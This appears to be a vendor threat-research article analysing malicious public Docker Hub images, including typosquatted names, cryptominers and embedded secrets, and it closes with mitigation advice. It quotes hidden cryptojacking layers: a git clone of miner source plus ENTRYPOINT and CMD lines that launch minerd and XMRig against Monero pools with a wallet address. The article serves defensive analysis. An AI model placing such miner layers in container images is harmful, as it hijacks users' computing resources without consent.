Supply Chain attacks are not new, but this past year they received much more attention due to high profile vulnerabilities in popular dependencies. Generally, the focus has been on the dependency attack vector. This is when source code of a dependency or product is modified by a malicious actor in order to compromise anyone who uses it in their own software.
The 2020 attack against the SolarWinds security software is one of the most popular recent examples of this technique, where attackers hid backdoors in the product itself.
Source code dependencies are not the only attack vector that can be used to conduct an offensive supply chain operation. Containers have become a hugely popular attack vector in recent years. Since container images are designed to be portable, it is very easy for one developer to share a container with another individual.
There are multiple open source projects available providing the source code to deploy a container registry, or free access container registries for developers to share container images. Docker Hub is the most popular free and public-facing container registry. It houses pre-made container images, which provide the great advantage of having all required software installed and configured. These features make it very tempting for developers to leverage these containers as it can save a significant amount of time and effort.
Attackers understand these benefits and can create images that have malicious payloads built in.
A user will then run the “docker pull <image>” command and have the container up and running very quickly. The attacker’s misconfigurations and/or malware is now installed on the user’s machine or a cloud instance where the user is deploying their workloads. A Docker Hub download and installation is opaque; therefore, users should inspect the manifest (i.e., Dockerfile) prior to download and ensure that the source is legitimate and the image is clean.
The Sysdig Threat Research Team performed an analysis of over 250,000 Linux images in order to understand what kind of malicious payloads are hiding in the containers images on Docker Hub.
This article is part of the 2022 Sysdig Cloud-Native: Threat report.
Docker Hub
Docker Hub is a cloud-based image repository in which anyone in the world can download, create, store, and deploy Docker container images for free. It provides access to public open-source image repositories, and each user can create their own private repositories to store personal images.
Docker Hub provides official images which are reviewed and published by the Docker Library Project, making sure that best practices are followed and providing clear documentation and regular updates. In addition, Docker Hub enables Independent Software Vendors (ISVs) via The Docker Verified Publisher Program. Development tool vendors in this program can distribute trusted Dockerized content through Docker Hub with images signed by Verified Publisher, reducing a user’s chance of downloading malicious content.
Looking at statistics from the 2022 Sysdig Cloud-Native Security and Usage Report, 61% of all images pulled come from public repositories, with an increase of 15% from 2021. This means the flexibility and other features provided by public repositories is well appreciated by users, but at the same time, there is an increased risk for exposure to malicious images.
Typosquatting, Cryptominers, and Keys
The Sysdig Threat Research Team built a classifier to extract and collect information about recently updated images in Docker Hub to determine if those images contained anything anomalous or malicious within the image layers.
The team extracted information like secrets, IPs, and URLs to evaluate if a specific image might be malicious. To perform all of these operations across a large number of images, the extraction and validation process was automated for scalability. This approach allowed for the rapid analysis of all the extracted information for hundreds of thousands of images. Sysdig TRT used multiple open source tools and services to determine if IPs and URLs were malicious or not.
During the analysis, over 250,000 Linux images were analyzed over several months, excluding the official images and verified images. The focus of the investigation was on public images uploaded by users around the world.
Dangerous Images in Public Registries
The Sysdig Threat Research Team collected malicious images based on several categories, as shown below. The analysis focused on two main categories: malicious IPs or domains, and secrets. Both can represent a threat for people downloading and deploying images publicly available in Docker Hub, exposing their environment to high risks.
The following graphic classifies all 1,652 images that were identified as malicious by type of nefarious content included in their layers.
As expected, cryptomining images are the most common malicious image type. However, embedded secrets in layers are the second most prevalent, which highlights the persistent challenges of secrets management. Secrets can be embedded in an image due to unintentionally poor coding practices or this could be done intentionally by a threat actor. By embedding an SSH key or an API key into the container, the attacker can gain access once the container is deployed. To prevent accidental leakage of credentials, sensitive data scanning tools can alert users as part of the development cycle.
The images that have secrets embedded in their layers represent a large portion of the malicious images. Sysdig TRT divided those images into subcategories based on the type of leaked secret, as shown in the following graph.
Sysdig TRT also included public keys in the SSH keys category because they are most likely deployed for illegitimate uses when embedded in container images. For instance, uploading a public key to a remote server allows the owners of the corresponding private key to open a shell and run commands via SSH, similar to implanting a backdoor.
The secrets belonging to the other categories could allow anyone to authenticate to different services and platforms, since they are publicly accessible in the layers.
Malicious Images Disguised as Legitimate Software
During the research in Docker Hub, Sysdig TRT found images names to appear as popular open source software in order to trick users to download and deploy them. This practice is known as typosquatting, pretending that they are the legitimate and official image while hiding something nefarious within their layers.
The following images are named as legitimate images that provide common services but instead are hiding cryptocurrency miners. A careless user may accidentally install one of these images instead of an official one they intended. Such mistakes most often occur when utilizing crowdsourced knowledge, like copying and pasting code or configurations from blogs or forums.
Inspecting the layers of these images verifies that they are cryptominers. Indeed, these are some of their layers.
…cut
/bin/sh -c git clone https://github.com/OhGodAPet/cpuminer-multi
…cut
ENTRYPOINT ["/bin/minerd" "-a" "cryptonight" "-o" "stratum+tcp://xmr.pool.minergate.com:45560" "-u" "[email protected]" "-p" "x" "-t" "1"]
Code language: Perl (perl)Image layers can be explored directly on Docker Hub. For instance, the layers of ynprpagamentitk/liferay are accessible at this URL.
Interestingly, those images were published by different users but all of them contain the same layers, meaning that they most likely belong to the same threat actor or are following an attacker playbook. Also, every one of those users published only one image, making it harder to track this threat actor. The repository cloned in the first of the previous layers no longer exists, but its name strongly suggests it was a mining tool. Also, the Github user OhGodAPet is still active and has forked several repositories of mining tools.
In the last of the previous layers, the malicious image executes the “minerd” binary with some parameters, including the miner URL “stratum+tcp://xmr.pool.minergate.com:45560.”
The number of downloads for each image shows that hundreds of users were tricked into pulling images that they thought were legitimate, without knowing that those images were miners.
Sysdig TRT found another user, vibersastra, who joined Docker Hub on July 31, 2022 and uploaded exclusively disguised images, in particular:
By looking at the layers, it is clear that those images download the XMRig miner tool and then use it to mine Monero toward the owner’s wallet, as shown below:
…cut
RUN /bin/sh -c git clone --branch "v6.17.0" https://github.com/xmrig/xmrig # buildkit
…cut
RUN /bin/sh -c chmod +x /xmrig/build/xmrig.sh # buildkit
…cut
CMD ["--url=pool.hashvault.pro:80" "--user=88XgkSPJV9u28F4SJQtdW6U46RKDHB36aTzeM2f1yWsxTcX8QuSPDbHU1TTXChYpBeh9McphG2GYN77Lhu7jtfvp3HVytgc.featuring" "--algo=rx/0" "--pass=x" "-t 4"]
Code language: Perl (perl)Mitigation
It’s clear that container images have become a real attack vector, rather than a theoretical risk. The methods employed by malicious actors described by Sysdig TRT are specifically targeted at cloud and container workloads. Organizations deploying such workloads should ensure that they enact appropriate preventative and detective security controls that are capable of mitigating cloud-targeting attacks.
The research conducted here has allowed the Sysdig Threat Research Team to create a feed of known malicious container images based on their SHA-256 digest. By using this feed, Sysdig customers are able to alert whenever any of these containers are seen in their environment and take appropriate response actions. If a known malicious container appears in the environment, it can immediately be killed, paused, or stopped while notifying the security team. Prevention can also be accomplished by integrating the Sysdig TRT feed with an admission controller, which can prevent the deployment of an image based on its digest.
Final words
Much of the software used today depends on numerous amounts of other software packages. The origin of these dependencies is extremely varied with some being produced and supported by major corporations, while others are developed by unknown parties who may not be supporting their projects anymore.
This notion of sharing code has also spread to containers, where people can easily share their container-based creations on sites like Docker Hub. This has made testing and deploying entire platforms very easy, but has also increased the risk of using something malicious. Threat actors are placing malware into shared containers, hoping users will download and run them on their infrastructure. The malware installed can be anything from cryptominers to backdoors to tools that will automatically exfiltrate data.
It is more important than ever to understand and monitor what happens in your organization’s containerized environments.
Want more? Download the full 2022 Sysdig Cloud-Native: Threat report.